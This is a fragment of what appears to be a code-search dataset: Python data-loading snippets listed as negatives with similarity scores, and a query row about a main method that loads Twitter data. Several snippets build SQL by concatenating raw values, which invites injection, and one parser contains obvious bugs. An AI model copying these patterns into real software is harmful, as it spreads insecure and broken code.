azi_segments.replace(',','.'))\\n except:\\n pass\\n try:\\n azi_random = float( azi_random.replace(',','.'))\\n except:\\n pass\\n azimuth_angle = (azi_min + ((azi_max - azi_min)/(azi_segments))*j)\\n position=[polar_angle, pol_random, azimuth_angle, azi_random, obj[render_dic[\\\"radius\\\"]] ]\\n light_obj=[ obj[render_dic[\\\"name\\\"]] , position, obj[render_dic[\\\"tracking_obj\\\"]],1000 ]\\n print(\\\"added light_obj: \\\", light_obj)\\n main_class.light_settings.append(light_obj)\\n main_class.max_loop_count=len(main_class.camera_settings)*len(main_class.light_settings)\\n print(\\\"loop count is:\\\", main_class.max_loop_count)\\n return\",\n \"def __init__(self, header=None, rows=None, fromfile=None, delimiter=','):\\n\\t\\tif fromfile:\\n\\t\\t\\trs = Csv(fromfile,delimiter=delimiter).getRows()\\t\\n\\t\\t\\tself.header=rs[0]\\n\\t\\t\\tself.data = [] #a list of dictionaries\\n\\t\\t\\tfor r in rs[1:]:\\n\\t\\t\\t\\tacc= dict()\\n\\t\\t\\t\\tfor h in self.header:\\n\\t\\t\\t\\t\\tacc[h]=r[self.header.index(h)]\\t\\n\\t\\t\\t\\tself.data.append(acc) \\n\\t\\telif header:\\n\\t\\t\\tself.header = header\\t\\n\\t\\t\\tself.data = []\\n\\t\\t\\tif rows:\\n\\t\\t\\t\\tif isinstance(rows[0],dict):\\n\\t\\t\\t\\t\\tself.data = rows\\n\\t\\t\\t\\telif isinstance(rows[0],list):\\t\\n\\t\\t\\t\\t\\tfor r in rows:\\n\\t\\t\\t\\t\\t\\tacc= dict()\\n\\t\\t\\t\\t\\t\\tfor h in self.header:\\n\\t\\t\\t\\t\\t\\t\\tacc[h]=r[self.header.index(h)]\\n\\t\\t\\t\\t\\t\\tself.data.append(acc) \\n\\t\\telse:\\n\\t\\t\\tself.header = []\\t\\n\\t\\t\\tself.data = []\",\n \"def importPerson ( c, peopleInstance ):\\n assert str(type(c)) == \\\"<type '_mysql.connection'>\\\"\\n assert str(type(peopleInstance)) == \\\"<type 'instance'>\\\"\\n personID = peopleInstance.attrib[\\\"personIdent\\\"]\\n \\n #Gets location sub elements in list. Inserts into PeopleLocation table by indexing list\\n locationElements = list(peopleInstance.findall(\\\"Location\\\"))\\n for instance in locationElements:\\n sqlQuery ( c, \\\"insert into PeopleLocations values ( '\\\"+personID+\\\"', '\\\"+instance[0].text+\\\"', '\\\"+instance[1].text+\\\"', '\\\"+instance[2].text+\\\"');\\\")\\n \\n #Gets list of all RelatedOrganizations and inserts into PeopleToOrganizations table\\n relatedOrgs = peopleInstance.find(\\\"RelatedOrganizations\\\")\\n if relatedOrgs != None :\\n for instance in relatedOrgs:\\n sqlQuery ( c, \\\"insert into PeopleToOrganizations values ( '\\\"+personID+\\\"', '\\\"+instance.attrib[\\\"organizationIdent\\\"]+\\\"');\\\")\\n\\n #Gets all URL's in a list. Indexes list, splices tag to get type, inserts data into table\\n externalResources = peopleInstance.find(\\\"ExternalResources\\\")\\n \\n #Get all resources. Checks for Citation because it's the only one not ending in 'URL'. Get index of URL for others to splice off. Add to table\\n for instance in externalResources:\\n sqlQuery ( c, \\\"insert into PersonExternalResources values ( '\\\"+personID+\\\"', '\\\"+instance.tag+\\\"', '\\\"+instance.text+\\\"');\\\")\\n \\n #Finds values of remaining elements and inserts into People table\\n firstName = peopleInstance.find(\\\".//\\\" + \\\"FirstName\\\").text\\n middleName = peopleInstance.findtext(\\\".//\\\" + \\\"MiddleName\\\", \\\"\\\")\\n lastName = peopleInstance.find(\\\".//\\\" + \\\"LastName\\\").text\\n suffix = peopleInstance.findtext(\\\"Suffix\\\", \\\"\\\")\\n kind = peopleInstance.find(\\\"Kind\\\").attrib[\\\"personKindIdent\\\"]\\n sqlQuery ( c, \\\"insert into People values ( '\\\"+personID+\\\"', '\\\"+firstName+\\\"', '\\\"+middleName+\\\"', '\\\"+lastName+\\\"', '\\\"+suffix+\\\"', '\\\"+kind+\\\"');\\\")\",\n \"def load_stat_record(self, model, df, field_list):\\n stat_records = []\\n for idx, row in df.iterrows():\\n if not self.is_empty_record(*tuple([row[field] for field in field_list])):\\n field_list.append('lineup_id')\\n stat_dict = {field: row[field] for field in field_list if row[field]}\\n stat_records.append(model(**stat_dict))\\n self.session.bulk_save_objects(stat_records)\\n print(\\\"{} {} records from {} lineup records\\\".format(len(stat_records), model.__name__, len(df)))\\n self.session.commit()\",\n \"def prepareSemanticDifferential():\\r\\n\\t\\r\\n filename = (\\\"OsgoodOriginal.csv\\\") \\r\\n fileIn = open(filename, 'r')\\r\\n allData = []\\r\\n line = fileIn.readline()\\r\\n while line != \\\"\\\":\\r\\n line = fileIn.readline().strip()\\r\\n if line != \\\"\\\":\\r\\n values = line.split(',')\\r\\n wordData = {}\\r\\n wordData['word'] = str(values[0])\\r\\n wordData['evaluation'] = float(values[1])\\r\\n wordData['activity'] = float(values[2])\\r\\n wordData['potency'] = float(values[3])\\r\\n allData.append(wordData)\\r\\n fileIn.close()\\r\\n return allData\",\n \"def importOrg ( c, orgInstance ):\\n assert str(type(c)) == \\\"<type '_mysql.connection'>\\\"\\n assert str(type(orgInstance)) == \\\"<type 'instance'>\\\"\\n orgID = orgInstance.attrib[\\\"organizationIdent\\\"]\\n\\n #Gets location sub elements in list. Inserts into CrisisLocation table by indexing list\\n allLocations = orgInstance.findall(\\\"Location\\\") \\n if len(allLocations) != 0:\\n for instance in allLocations:\\n sqlQuery ( c, \\\"insert into OrganizationLocations values ( '\\\"+orgID+\\\"', '\\\"+instance[0].text+\\\"', '\\\"+instance[1].text+\\\"', '\\\"+instance[2].text+\\\"');\\\")\\n\\n #Get all resources. Checks for Citation because it's the only one not ending in 'URL'. Get index of URL for others to splice off. Add to table\\n externalResources = orgInstance.find(\\\"ExternalResources\\\")\\n if len(externalResources) != 0:\\n for instance in externalResources:\\n sqlQuery ( c, \\\"insert into OrganizationExternalResources values ( '\\\"+orgID+\\\"', '\\\"+instance.tag+\\\"', '\\\"+instance.text+\\\"');\\\")\\n\\n #Get all values for Organizations table and insert to DB\\n postalAddress = orgInstance.find(\\\".//\\\" + \\\"PostalAddress\\\")\\n name = orgInstance.find(\\\"Name\\\").text\\n kind = orgInstance.find(\\\"Kind\\\").attrib[\\\"organizationKindIdent\\\"]\\n history = orgInstance.find(\\\"History\\\").text\\n phone = str(orgInstance.find(\\\".//\\\" + \\\"Telephone\\\").text)\\n fax = str(orgInstance.find(\\\".//\\\" + \\\"Fax\\\").text)\\n email = orgInstance.find(\\\".//\\\" + \\\"Email\\\").text\\n address = postalAddress[0].text\\n locality = postalAddress[1].text\\n region = postalAddress[2].text\\n postalCode = postalAddress[3].text\\n country = postalAddress[4].text\\n sqlQuery (c , \\\"insert into Organizations values ( '\\\"+orgID+\\\"', '\\\"+name+\\\"', '\\\"+kind+\\\"', '\\\"+history+\\\"', \\\"+phone+\\\", \\\"+fax+\\\", '\\\"+email+\\\"', '\\\"+address+\\\"', '\\\"+locality+\\\"', '\\\"+region+\\\"', '\\\"+postalCode+\\\"', '\\\"+country+\\\"');\\\")\",\n \"def csv_to_db(db, filename):\\n csv_table = open(filename, 'r')\\n updater = [(int(dstr), int(hstr)) for (dstr, hstr) in csv.reader(csv_table)]\\n db.bulk_update(updater)\",\n \"def kosdaq_to_db(chunk):\\n bulk_list = []\\n for row in chunk:\\n bulk_list.append(Kosdaq(\\n date=row[0],\\n close=float(row[1]),\\n open=float(row[2]),\\n high=float(row[3]),\\n low=float(row[4]),\\n volume=float(row[5]),\\n d1_diff_rate=float(row[6])\\n ))\\n Kosdaq.objects.bulk_create(bulk_list)\\n return bulk_list\",\n \"def import_csv_dataset():\\n import_fields = pd.read_csv('redacted-2020-june-30-wprdc-.csv', header=None).to_numpy()[0, :]\\n import_values = pd.read_csv('redacted-2020-june-30-wprdc-.csv').to_numpy()\\n import_values = clean_values(import_values)\\n return import_fields, import_values\",\n \"def test_valid_csv(self):\\n url=\\\"http://archive.ics.uci.edu/ml/machine-learning-databases/wine/wine.data\\\"\\n readerobject=requester.url_to_csv(url, fname='wine2')\\n self.assertTrue(str(type(readerobject)),\\\"_csv.reader\\\")\",\n \"def _load_table(table: Model, directory: Path, format_: str):\\n\\n if directory is not None:\\n print(f\\\" Loading {table.table_name()}...\\\")\\n in_file = Path(directory) / f\\\"{table.table_name()}.{format_}\\\"\\n dataset = tablib.Dataset(headers=table.fields()).load(in_file.read_text())\\n print(f\\\" Importing {table.table_name()} into the database...\\\")\\n table.insert_many(dataset.dict).execute()\\n print(\\\" Done.\\\")\\n print(\\\"=====================\\\")\\n else:\\n pass\\n # print(dataset.export(\\\"csv\\\"))\",\n \"def handle_csv(self):\\n try:\\n reader = csv.reader(open(self.options.datafile, 'r'))\\n except IOError:\\n errormsg(_('Cannot read \\\"{}\\\"'.format(self.options.datafile)))\\n raise Exception(_('Cannot read \\\"{}\\\"'.format(self.options.datafile)))\\n if self.options.var_type == 'name':\\n try:\\n self.header = reader.next()\\n except StopIteration:\\n errormsg(_('Data file \\\"{}\\\" contains no data'.format(\\n self.options.datafile)))\\n raise Exception(_('Data file \\\"{}\\\" contains no data'.format(\\n self.options.datafile)))\\n self.data = []\\n for row in reader:\\n self.data.append(row)\",\n \"def populate(self):\\n\\n self.create_index()\\n self.check_type()\\n self.create_mapping()\\n\\n f = open(self.csv_file, 'rU')\\n\\n # Read the first line for all the headers\\n headers = f.readline().split(',')\\n\\n # Read the rest of the document\\n rows = f.readlines()\\n added_counter = 0\\n\\n actions = []\\n for row in rows:\\n fields = row.split(',')\\n obj = {}\\n for header in headers:\\n # we call lower-case here because we were originally using\\n # analyzed strings in elasticsearch (and they were\\n # automatically converted). Code was built based on that so it's\\n # easiest to convert for now\\n try:\\n obj[header.replace('\\\\n', '')] = float(fields[\\n headers.index(header)].replace('\\\\n', '').lower())\\n except ValueError:\\n obj[header.replace('\\\\n', '')] = fields[\\n headers.index(header)].replace('\\\\n', '').lower()\\n # check afterwards to replace empty strings with None (which json.dumps hopefully writes to null)\\n if obj[header.replace('\\\\n', '')] == '':\\n obj[header.replace('\\\\n', '')] = None\\n try:\\n item = {\\n '_index': self.es_main_index,\\n '_type': self.es_main_type,\\n '_source': obj\\n }\\n\\n actions.append(item)\\n\\n added_counter += 1\\n print('%s new records added' % added_counter,\\n end='\\\\r')\\n sys.stdout.flush()\\n\\n if added_counter % self.chunk_size == 0:\\n helpers.bulk(self.es, actions)\\n actions = []\\n\\n except ConnectionError:\\n print('There was a connection error. Check your Elastic' +\\n ' Search setting and make sure Elastic Search is ' +\\n 'running.')\\n return False\\n\\n # add the remaining items\\n if actions:\\n helpers.bulk(self.es, actions)\\n\\n print('The update is completed. %s new records were added.' %\\n added_counter)\",\n \"def get_TECRDB_compounds_data(self):\\n TECRDB_compounds_data_table = pd.read_csv('data/TECRDB_compounds_data.csv')\\n #all possible information that the particular ion bound state can have\\n data_entry_list = ['Cp', 'H_number', 'binding_constant', 'charge', 'dG_f', 'dH_f', 'dS_f', 'groups', 'metal_type','smiles_form','metal_number']\\n for i, row in TECRDB_compounds_data_table.iterrows():\\n cur_sid = row['species_id']\\n cur_cid = row['compound_id']\\n self.TECRDB_compounds_data_dict[cur_sid] = {'compound_id':cur_cid}\\n if row['is_pH7_species'] == True:\\n self.TECRDB_compounds_pH7_species_id_dict[cur_cid] = cur_sid\\n if row['is_least_protonated_species'] == True:\\n self.TECRDB_compounds_least_H_sid_dict[cur_cid] = cur_sid\\n for data_entry in data_entry_list:\\n if not pd.isnull(row[data_entry]):\\n if data_entry == 'groups':\\n #convert the text form of groups to python list\\n cur_sid_groups = list(map(float,row['groups'].strip('[').strip(']').split(',')))\\n self.TECRDB_compounds_data_dict[cur_sid]['groups'] = cur_sid_groups\\n else:\\n try:\\n #convert value from string to float\\n self.TECRDB_compounds_data_dict[cur_sid][data_entry] = float(row[data_entry])\\n except ValueError:\\n self.TECRDB_compounds_data_dict[cur_sid][data_entry] = row[data_entry]\",\n \"def load_data(connection, insert_sql, data):\\n cur = connection.cursor()\\n for d in data:\\n cur.execute(insert_sql, d)\\n connection.commit()\",\n \"def loadCSV(input_file):\",\n \"def load_data(self, vacuum=False):\\n logger.info('Loading phenotype data into database')\\n\\n try:\\n for csv_file_idx, csv_file in enumerate(self.ukb_csvs):\\n logger.info('Working on {}'.format(csv_file))\\n\\n self._create_tables_schema(csv_file, csv_file_idx)\\n self._create_temporary_csvs(csv_file, csv_file_idx)\\n self._load_csv()\\n\\n self._load_all_eids()\\n self._load_bgen_samples()\\n self._load_events()\\n self._create_constraints()\\n\\n if vacuum:\\n self._vacuum()\\n\\n except OperationalError as e:\\n raise UkbRestSQLExecutionError('There was an error with the database: ' + str(e))\\n except UnicodeDecodeError as e:\\n logger.debug(str(e))\\n raise UkbRestProgramExecutionError('Unicode decoding error when reading CSV file. Activate debug to show more details.')\\n\\n # delete temporary variable\\n del(self._loading_tmp)\\n\\n logger.info('Loading finished!')\",\n \"def generateCsvData(self, context, obj, entity):\\n raise NotImplementedError()\",\n \"def csvObj():\\n CSV_URL = \\\"http://unitedstates.sunlightfoundation.com/legislators/legislators.csv\\\"\\n s = requests.get(CSV_URL) # Download the csv using requests.\\n reader = csv.DictReader(s.text.splitlines(), lineterminator=\\\"\\\\n\\\") # Use the dictreader to make a dictionary with the attribute name paired with the rows value for that attribute.\\n name2twitter_id = {}\\n for row in reader:\\n if (row['in_office'] == \\\"1\\\" and row['twitter_id'] != \\\"\\\"):\\n name = row['firstname'] + \\\" \\\" # Construct the name.\\n if (row['middlename'] != \\\"\\\"): # Not all names have middle names.\\n name += row['middlename'] + \\\" \\\"\\n name += row['lastname']\\n name2twitter_id[name] = row['twitter_id'] # Assign the name to their handle.\\n del name2twitter_id[\\\"Tim Murphy\\\"] # This representative does not have an active twitter handle. \\n name2twitter_id[\\\"Gregory W. Meeks\\\"] = \\\"RepGregoryMeeks\\\" # Insert this representatives twitter handle manually.\\n return name2twitter_id\",\n \"def parser():\\n with open('misc/DisasterDeclarationsSummaries.csv') as csvfile:\\n reader = csv.DictReader(csvfile)\\n\\n counter = 0\\n\\n for row in reader:\\n disaster = Disaster()\\n disaster.disasterNumber = make_intger(row.get('disasterNumber'))\\n disaster.ihProgramDeclared = make_boolean(row.get('ihProgramDeclared'))\\n disaster.iaProgramDeclared = make_boolean(row.get('iaProgramDeclared'))\\n disaster.paProgramDeclared = make_boolean(row.get('paProgramDeclared'))\\n disaster.hmProgramDeclared = make_boolean(row.get('hmProgramDeclared'))\\n disaster.state = make_string(row.get('state'))\\n disaster.declarationDate = make_datetime(row.get('declarationDate'))\\n disaster.fyDeclared = make_intger(row.get('fyDeclared'))\\n disaster.disasterType = make_string(row.get('disasterType'))\\n disaster.incidentType = make_string(row.get('incidentType'))\\n disaster.title = make_string(row.get('title'))\\n disaster.incidentBeginDate = make_datetime(row.get('incidentBeginDate'))\\n disaster.incidentEndDate = make_datetime(row.get('incidentEndDate'))\\n disaster.disasterCloseOutDate = make_datetime(row.get('disasterCloseOutDate'))\\n disaster.declaredCountyArea = make_string(row.get('declaredCountyArea'))\\n disaster.placeCode = make_intger(row.get('placeCode', None))\\n disaster.hash_ = make_string(row.get('hash'))\\n disaster.lastRefresh = make_datetime(row.get('lastRefresh'))\\n\\n db.session.add(disaster)\\n db.session.commit()\\n\\n counter += 1\\n print ('Inserted {} items'.format(counter))\",\n \"def post_init(cr, registry):\\n import_csv_data(cr, registry)\",\n \"def read_csv(self, csv_input):\\n # https://stackoverflow.com/a/45063514\\n dtypes = {\\n 'lat': 'U',\\n 'long': 'U'\\n }\\n csv_data = pd.read_csv(csv_input, encoding='UTF-8', sep=',', na_values=[''], dtype=dtypes)\\n\\n self.table = csv_data.fillna('').applymap(lambda x: x.strip() if type(x) == str else x)\\n self.log.info('Data read from CSV %s' % csv_input)\\n #print('Data read from CSV %s' % csv_input)\",\n \"def gio_process(filename):\\n\\n pgconn = psycopg2.connect(database=\\\"sustainablecorn\\\")\\n cursor = pgconn.cursor()\\n sql = \\\"\\\"\\\"\\n INSERT into waterquality_data(uniqueid, plotid, valid,\\n sample_type, varname, value) VALUES (%s, %s, %s, %s, %s, %s)\\n \\\"\\\"\\\"\\n for i, line in enumerate(open(filename)):\\n if i == 0:\\n continue\\n (\\n uniqueid,\\n plotid,\\n date,\\n localtime,\\n sample_type,\\n varname,\\n value,\\n ) = line.strip().split(\\\",\\\")\\n if localtime == \\\"\\\":\\n localtime = \\\"00:00\\\"\\n ts = datetime.datetime.strptime(\\n \\\"%s %s\\\" % (date, localtime), \\\"%Y-%m-%d %H:%M\\\"\\n )\\n offset = 6 if uniqueid in CENTRAL_TIME else 5\\n ts = ts + datetime.timedelta(hours=offset)\\n ts = ts.replace(tzinfo=ZoneInfo(\\\"UTC\\\"))\\n cursor.execute(\\n sql,\\n (\\n uniqueid,\\n plotid,\\n ts,\\n sample_type,\\n varname,\\n (float(value) if not value.startswith(\\\"<\\\") else None),\\n ),\\n )\\n cursor.close()\\n pgconn.commit()\\n pgconn.close()\",\n \"def _read_dataset(self):\\n import pandas as pd\\n\\n freesolv_path = get_data_file_path(FREESOLV_PATH)\\n\\n freesolv_db = pd.read_csv(freesolv_path, delimiter=';',\\n skipinitialspace=True,\\n skiprows=[0, 1, 2], header=0,\\n names=['compound id', 'SMILES',\\n 'iupac name',\\n 'experimental value',\\n 'experimental uncertainty',\\n 'calculated value (GAFF)',\\n 'calculated uncertainty',\\n 'experimental reference',\\n 'calculated reference',\\n 'notes'])\\n\\n compound_ids = freesolv_db['compound id'].to_list()\\n smiles_tags = freesolv_db['SMILES'].to_list()\\n experimental_v = freesolv_db['experimental value'].to_list()\\n return compound_ids, smiles_tags, experimental_v\",\n \"def read_csv_file(file_name):\\n csv_file = open(file_name, 'rb')\\n rd = csv.reader(csv_file, delimiter=';',quoting=csv.QUOTE_ALL)\\n\\n nb_rd_rows = 0\\n current_wine = {}\\n columns_name = [\\\"name\\\",\\\"vintage\\\",\\\"appellation\\\",\\\"color\\\",\\\"wine_id\\\",\\\"item_id\\\",\\\"price\\\",\\\"degustation\\\",\\\"food_pairing\\\",\\\"food_pairing_french\\\",\\\"gws\\\"]\\n for row in rd:\\n current_object = {}\\n nb_column = 0\\n nb_rd_rows = nb_rd_rows + 1\\n if nb_rd_rows != 1:\\n for current_element in row:\\n #current_element = current_element.replace(\\\"e\\\",\\\"e\\\")\\n #current_element = current_element.replace(\\\"a\\\",\\\"a\\\")\\n current_element = current_element.lower()\\n to_add = []\\n # Case of float\\n if current_element[0] >= \\\"0\\\" and current_element[0] <= \\\"9\\\":\\n to_add.append(adapt_type_number(current_element))\\n else:\\n to_add = current_element.split(',')\\n for nb in range(len(to_add)):\\n if '(' in to_add[nb]:\\n if nb >= 1:\\n special_values = to_add[nb].split(\\\"(\\\")\\n to_add[nb] = special_values[0]\\n to_add[nb].append(special_values[1])\\n else:\\n to_add[nb] = to_add[nb].replace(\\\"(\\\",\\\"\\\")\\n elif ')' in to_add[nb]:\\n to_add[nb] = to_add[nb].replace(\\\")\\\",\\\"\\\")\\n add[nb] = add[nb].strip()\\n if len(to_add) > 1:\\n current_object[columns_name[nb_column]] = to_add\\n elif len(to_add) == 1:\\n current_object[columns_name[nb_column]] = to_add[0]\\n nb_column = nb_column + 1\\n if nb_rd_rows == 2:\\n #current_request = re.post(API_BASE_URL, json=current_object)\\n print(\\\"DEBUG LINE \\\" + str(nb_rd_rows) +\\\"\\\\n\\\")\\n print(json.dumps(current_object))\\n print(\\\"\\\\n\\\\n Current request:\\\\n\\\")\\n #print(current_request.reason)\\n print(\\\"\\\\n\\\\n\\\")\",\n \"def load_products():\\n\\n print \\\"Loading Products\\\"\\n\\n for i, row in enumerate(open(\\\"data/mock_product_data.csv\\\")):\\n row = row.rstrip()\\n title, price, inventory = row.split(\\\",\\\")\\n\\n product = Product(title=title,\\n price=price,\\n available_inventory=inventory)\\n\\n db.session.add(product)\\n\\n db.session.commit()\",\n \"def test_inserted_data(client):\\n data = pd.read_csv(\\\"housing.csv\\\")\\n data = format_data_housing(data)\\n House.insert_from_pd(data)\\n houses: DataFrame = pd.read_sql(\\\"SELECT * FROM house\\\", db.engine)\\n assert len(houses) == data.shape[0]\\n houses = house_results_to_dataframe(houses)\\n assert_frame_equal(houses, data, check_dtype=False)\",\n \"def test_csvfile_single_row_of_data(fs: FakeFilesystem) -> None:\\n contents = \\\"\\\"\\\"\\\"a\\\",\\\"b\\\"\\n1,2\\\"\\\"\\\"\\n fs.create_file(\\\"test.csv\\\", contents=contents)\\n\\n adapter = CSVFile(\\\"test.csv\\\")\\n\\n assert adapter.get_columns() == {\\n \\\"a\\\": Float(\\n filters=[Range, Equal, NotEqual, IsNull, IsNotNull],\\n order=Order.NONE,\\n exact=True,\\n ),\\n \\\"b\\\": Float(\\n filters=[Range, Equal, NotEqual, IsNull, IsNotNull],\\n order=Order.NONE,\\n exact=True,\\n ),\\n }\\n assert list(adapter.get_data({}, [])) == [{\\\"a\\\": 1.0, \\\"b\\\": 2.0, \\\"rowid\\\": 0}]\",\n \"def _from_gisdb(self):\\n self._ways = gpd.read_postgis(sql=\\\"ways\\\", con=self._gisdb, geom_col=\\\"geometry\\\")\\n self._nodes = pd.read_sql(sql=\\\"nodes\\\", con=self._gisdb)\\n self._edges = pd.read_sql(sql=\\\"graph_edges\\\", con=self._gisdb)\\n # graph_nodes = gpd.read_postgis(sql=\\\"graph_nodes\\\", con=self._gisdb, geom_col=\\\"geometry\\\")\",\n \"def _get_data(self):\\n with open(self.filename, 'r') as fid:\\n # we are not interested in the first line\\n fid.readline()\\n # second line\\n line = fid.readline().strip()\\n # the temperature is written in milli-degrees in the form\\n # t=23456, but preceeded by a large HEX data dump in the form\\n # 2c 00 4b 46 ff ff 0e 10 17 t=21875\\n index = line.find('t=') + 2\\n temperature = int(line[index:index + 6]) / 1e3\\n time_now = self.get_timestamp()\\n\\n logging.debug(\\n 'w1_temp: {0}, datetime: {1}, logger_id: {2}'.format(\\n temperature,\\n time_now,\\n self.logger_id))\\n\\n ins = self.table(value=temperature,\\n logger_id=self.logger_id,\\n datetime=time_now)\\n\\n self.session.add(ins)\\n self.session.commit()\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.6225475","0.61713827","0.6018862","0.5890352","0.5874249","0.5863172","0.5847302","0.5836998","0.58211","0.5770075","0.5767906","0.57509094","0.57297736","0.57212746","0.57081926","0.5701854","0.5697785","0.5686698","0.5680296","0.5675238","0.5667102","0.56296283","0.5629056","0.5611811","0.56070006","0.5600534","0.55804527","0.55790585","0.5558963","0.5553817","0.55439377","0.55369425","0.5525021","0.55210793","0.5520096","0.551062","0.550369","0.550038","0.5496338","0.548404","0.54745024","0.5471215","0.54691225","0.54545903","0.5436202","0.54350847","0.5403259","0.53992224","0.539449","0.53939515","0.5381755","0.5380167","0.53786045","0.53633857","0.5335039","0.5333826","0.5333787","0.5333047","0.53304607","0.5326075","0.5316579","0.53141314","0.53114486","0.5306696","0.53054553","0.5305275","0.5300183","0.5293045","0.5291063","0.52899903","0.52828825","0.5278211","0.52775526","0.52758014","0.5271678","0.52659774","0.5265849","0.5258165","0.52573675","0.5256825","0.5255051","0.525019","0.52475125","0.52390176","0.52347624","0.5233189","0.5231569","0.52307224","0.52184707","0.5212885","0.5212355","0.52054095","0.52010006","0.519981","0.519436","0.51915216","0.5187984","0.5187691","0.51843625","0.51799077","0.51798356"],"string":"[\n \"0.6225475\",\n \"0.61713827\",\n \"0.6018862\",\n \"0.5890352\",\n \"0.5874249\",\n \"0.5863172\",\n \"0.5847302\",\n \"0.5836998\",\n \"0.58211\",\n \"0.5770075\",\n \"0.5767906\",\n \"0.57509094\",\n \"0.57297736\",\n \"0.57212746\",\n \"0.57081926\",\n \"0.5701854\",\n \"0.5697785\",\n \"0.5686698\",\n \"0.5680296\",\n \"0.5675238\",\n \"0.5667102\",\n \"0.56296283\",\n \"0.5629056\",\n \"0.5611811\",\n \"0.56070006\",\n \"0.5600534\",\n \"0.55804527\",\n \"0.55790585\",\n \"0.5558963\",\n \"0.5553817\",\n \"0.55439377\",\n \"0.55369425\",\n \"0.5525021\",\n \"0.55210793\",\n \"0.5520096\",\n \"0.551062\",\n \"0.550369\",\n \"0.550038\",\n \"0.5496338\",\n \"0.548404\",\n \"0.54745024\",\n \"0.5471215\",\n \"0.54691225\",\n \"0.54545903\",\n \"0.5436202\",\n \"0.54350847\",\n \"0.5403259\",\n \"0.53992224\",\n \"0.539449\",\n \"0.53939515\",\n \"0.5381755\",\n \"0.5380167\",\n \"0.53786045\",\n \"0.53633857\",\n \"0.5335039\",\n \"0.5333826\",\n \"0.5333787\",\n \"0.5333047\",\n \"0.53304607\",\n \"0.5326075\",\n \"0.5316579\",\n \"0.53141314\",\n \"0.53114486\",\n \"0.5306696\",\n \"0.53054553\",\n \"0.5305275\",\n \"0.5300183\",\n \"0.5293045\",\n \"0.5291063\",\n \"0.52899903\",\n \"0.52828825\",\n \"0.5278211\",\n \"0.52775526\",\n \"0.52758014\",\n \"0.5271678\",\n \"0.52659774\",\n \"0.5265849\",\n \"0.5258165\",\n \"0.52573675\",\n \"0.5256825\",\n \"0.5255051\",\n \"0.525019\",\n \"0.52475125\",\n \"0.52390176\",\n \"0.52347624\",\n \"0.5233189\",\n \"0.5231569\",\n \"0.52307224\",\n \"0.52184707\",\n \"0.5212885\",\n \"0.5212355\",\n \"0.52054095\",\n \"0.52010006\",\n \"0.519981\",\n \"0.519436\",\n \"0.51915216\",\n \"0.5187984\",\n \"0.5187691\",\n \"0.51843625\",\n \"0.51799077\",\n \"0.51798356\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":82198,"cells":{"query":{"kind":"string","value":"(NoneType) > NoneType Main method that creates objects and start processing."},"document":{"kind":"string","value":"def main():\n\n\tgdl = TwitterDataLoader()\t\n\tgdl.load_twitter_data_to_db(truncate_table=False, skip_loaded_files=True)"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def run(self, objects: typing.Any) -> None:\n pass","def make_objects(self):\n pass","def main(self) -> None:\n pass","def main(self):\r\n pass","def _initialise_run(self) -> None:","def main(self):\n\n self._setup_task_manager()\n self._setup_source_and_destination()\n self.task_manager.blocking_start(waiting_func=self.waiting_func)\n self._cleanup()","def main(cls):\n raise NotImplementedError","def start_processing(self):","def main():\n challenge = Challenge()\n # Get the number of saved files on last execution\n last_saved = challenge.get_last_execution()\n # Get the total of products to save\n total_objects = len(challenge.get_products(\"product_groups.json\"))\n\n # While there are products to be saved\n while last_saved < total_objects:\n create_products()\n # Updates last_saved number\n last_saved = challenge.get_last_execution()\n\n logging.info(\"[INFO] Execution done with no errors!\")\n # Sends to runner a signal different from the crash signal\n # Indicates terminated execution\n os._exit(1)","def main(self):","def run(self):\n pass","def run(self):\n pass","def run(self):\n pass","def run(self):\n pass","def run(self):\n pass","def run(self):\n pass","def run(self):\n pass","def run(self):\n pass","def run(self):\n pass","def run(self):\n pass","def run(self):\n pass","def run(self):\n pass","def run(self):\n pass","def run(self):\n pass","def run(self):\n pass","def main():\n pass","def main():\n\t\t# KISS mockup of class operation\n\t\tself.log_in()\n\t\tself.get_token()\t\t# Access token for Facebook API\n\t\tself.get_post()\n\t\tself.get_comments()\n\t\tself.get_hashtags()\t\t# Filter comments that contain Hashtag\n\t\tself.comment_in_json()\t# JSON file where the comments we have replied to are stored\n\t\tself.author_following()\n\t\tself.post_reply()\t\t\n\t\tself.post_video()","def __init__(self):\n\t\tappionScript.AppionScript.__init__(self)\n\t\tself.rundata = {}\n\t\t### extra appionLoop functions:\n\t\tself._addDefaultParams()\n\t\tself.setFunctionResultKeys()\n\t\tself._setRunAndParameters()\n\t\t#self.specialCreateOutputDirs()\n\t\tself._initializeDoneDict()\n\t\tself.result_dirs={}","def run(self):\r\n pass","def run(self):\r\n self._initialize()\r\n\r\n # FIXME: do better exception handling here: what if both will raise exception?\r\n try:\r\n self._run()\r\n finally:\r\n self._finalize()","def start(self) -> None:","def start(self) -> None:","def main():\n # get command line args\n args = create_parser()\n\n # report args\n report_args(args)\n\n # check and create instance of process, if possible\n eM = create_process(args)\n\n # write data\n write_data(args.directory, args.file, args.process, args.length, eM)\n\n # write machine to pickle\n write_em_pickle(args.file, eM)","def run(self):\n\t\t\n\t\tpass","def main():\n produce()","def main():\n Main()","def run(self) -> None:\n\n num_trials = 3\n num_successes = 0\n\n # Initialize the scene.\n self.init_scene()\n for i in range(num_trials):\n status = self.lift_container()\n if status != TaskStatus.success:\n continue\n status = self.lift_target_object()\n if status != TaskStatus.success:\n continue\n status = self.try_put_in_container()\n print(f\"Tried to put object in container: {status}\")\n if status == TaskStatus.success:\n num_successes += 1\n accuracy = float(num_successes) / num_trials\n print(f\"Accuracy: {accuracy}\")","def run():\n main()","def _start(self):\n pass","def start (self):\n pass","def start (self):\n pass","def __init__(self):\n # Define class API\n self.api = API2()\n # Initialize a list of SAVED_OBJECTS (used in get_ancestors)\n self.SAVED_OBJECTS = []\n # Initialize the total number of objects\n self.total = 0\n # Load saved objects from file to continue the last execution\n self.load_saved_objects()","def _run(self):\n raise NotImplementedError","def _run(self):\n raise NotImplementedError","def init_run(self):\n raise NotImplementedError","def Run():\r\n pass","def main():","def main():","def main():","def main():","def main():","def main():","def main():","def main():","def main():","def main():","def main():","def main():","def main():","def main():","def main():","def main():","def main():","def main():","def main():","def main():","def main():","def main():","def main() -> None:\n worker = Worker()\n worker.do_work()","def create(self):\n return self.start()","def 